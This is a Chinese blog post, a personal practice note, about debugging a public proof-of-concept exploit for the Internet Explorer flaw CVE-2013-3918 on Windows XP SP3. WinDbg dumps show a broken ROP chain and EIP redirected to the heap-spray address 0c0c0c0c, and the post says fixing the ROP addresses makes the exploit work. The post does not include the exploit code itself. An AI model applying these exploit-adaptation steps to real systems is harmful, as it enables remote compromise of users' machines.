注册 登录  
 加关注
   显示下一条  |  关闭
温馨提示!由于新浪微博认证机制调整,您的新浪微博帐号绑定已过期,请重新绑定!立即重新绑定新浪微博》  |  关闭

且行且记录

点滴记录,行的更远!

 
 
 

日志

 
 

CVE-2013-3918的poc用起来总是奔溃  

2014-08-15 16:25:38|  分类: 一些练习 |  标签: |举报 |字号 订阅

  下载LOFTER 我的照片书  |

CVE-2013-3918的poc见:http://appall.blog.163.com/blog/static/13707820420147114131568/?newFollowBlog

先试运行一下IE奔溃,用调试器也是一样。

后来发现是shellcode有问题,估计是在其他平台上的rop地址,我这里是xpsp3总造成崩溃!

我用之前的提取网页shellcode办法,dds看了下感觉乱七八糟的。

0:010> dds 0c0c0000
0c0c0000  77c20433 msvcrt!fabs+0x61
0c0c0004  【77c15ed5】 msvcrt!_flswbuf+0xc1<--------对应下面的那个
0c0c0008  77c0b860 msvcrt!__initstdio+0x35
0c0c000c  fffffeac
0c0c0010  77bebe18 msvcrt!__isascii+0xe
0c0c0014  3755e82c <Unloaded_pi.dll>+0x3755e82b
0c0c0018  77bf362c msvcrt!UnDecorator::getTypeEncoding+0x43c
0c0c001c  77c2d9bb msvcrt!__old_small_block_heap+0x6db

 

77c15ed2 83e01f          and     eax,1Fh
【77c15ed5】 8d04c0          lea     eax,[eax+eax*8]
77c15ed8 8d0482          lea     eax,[edx+eax*4]
77c15edb eb05            jmp     msvcrt!_flswbuf+0xce (77c15ee2)
77c15edd b810f3c277      mov     eax,offset msvcrt!__badioinfo (77c2f310)
0:010> u
msvcrt!_flswbuf+0xce:
77c15ee2 f6400420        test    byte ptr [eax+4],20h <-----------------总是奔溃在这行上
77c15ee6 740c            je      msvcrt!_flswbuf+0xe0 (77c15ef4)
77c15ee8 6a02            push    2
77c15eea 53              push    ebx

后来改了下他的shellcode再它前面增加4个0c0c0c0c,这个HeapSpry常用的地址,

让他奔溃时指向那里。

0:010> kn 
 # ChildEBP RetAddr
00 025ec968 【3db76b08】 <Unloaded_pi.dll>+0xc0c0c0b
01 025ec978 3db76f5e MSHTML!PlainTrackerAddRef+0x20
02 025ec9d0 01402bdf MSHTML!PlainTrackerQueryInterface+0x82
0:010> r
eax=017edc34 ebx=00000000 ecx=06c0a100 edx=025ec99c esi=00000002 edi=7327150c
eip=0c0c0c0c esp=025ec96c ebp=025ec978 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
<Unloaded_pi.dll>+0xc0c0c0b:
0c0c0c0c ??              ???
0:010> ub 3db76b08
MSHTML!PlainTrackerAddRef+0x9:
3db76af1 51              push    ecx
3db76af2 e8f21bfeff      call    MSHTML!PlainAddRef (3db586e9)
3db76af7 83790402        cmp     dword ptr [ecx+4],2
3db76afb 8bf0            mov     esi,eax
3db76afd 7509            jne     MSHTML!PlainTrackerAddRef+0x20 (3db76b08)
3db76aff ff710c          push    dword ptr [ecx+0Ch]
3db76b02 8b4110          mov     eax,dword ptr [ecx+10h]
3db76b05 ff5004          call    dword ptr [eax+4] <---------这里调用偏移为4的地方的地址
0:010> dd eax l8
017edc34  0c0c0c0c 【0c0c0c0c】 0c0c0c0c 0c0c0c0c
017edc44  77c20433 77c15ed5 77c0b860 fffffeac

所以只要修正这个shellcode里面的rop地址就可以运行了。


 

  评论这张
 
阅读(162)| 评论(0)
推荐 转载

历史上的今天

在LOFTER的更多文章

评论

<#--最新日志,群博日志--> <#--推荐日志--> <#--引用记录--> <#--博主推荐--> <#--随机阅读--> <#--首页推荐--> <#--历史上的今天--> <#--被推荐日志--> <#--上一篇,下一篇--> <#-- 热度 --> <#-- 网易新闻广告 --> <#--右边模块结构--> <#--评论模块结构--> <#--引用模块结构--> <#--博主发起的投票-->
 
 
 
 
 
 
 
 
 
 
 
 
 
 

页脚

网易公司版权所有 ©1997-2017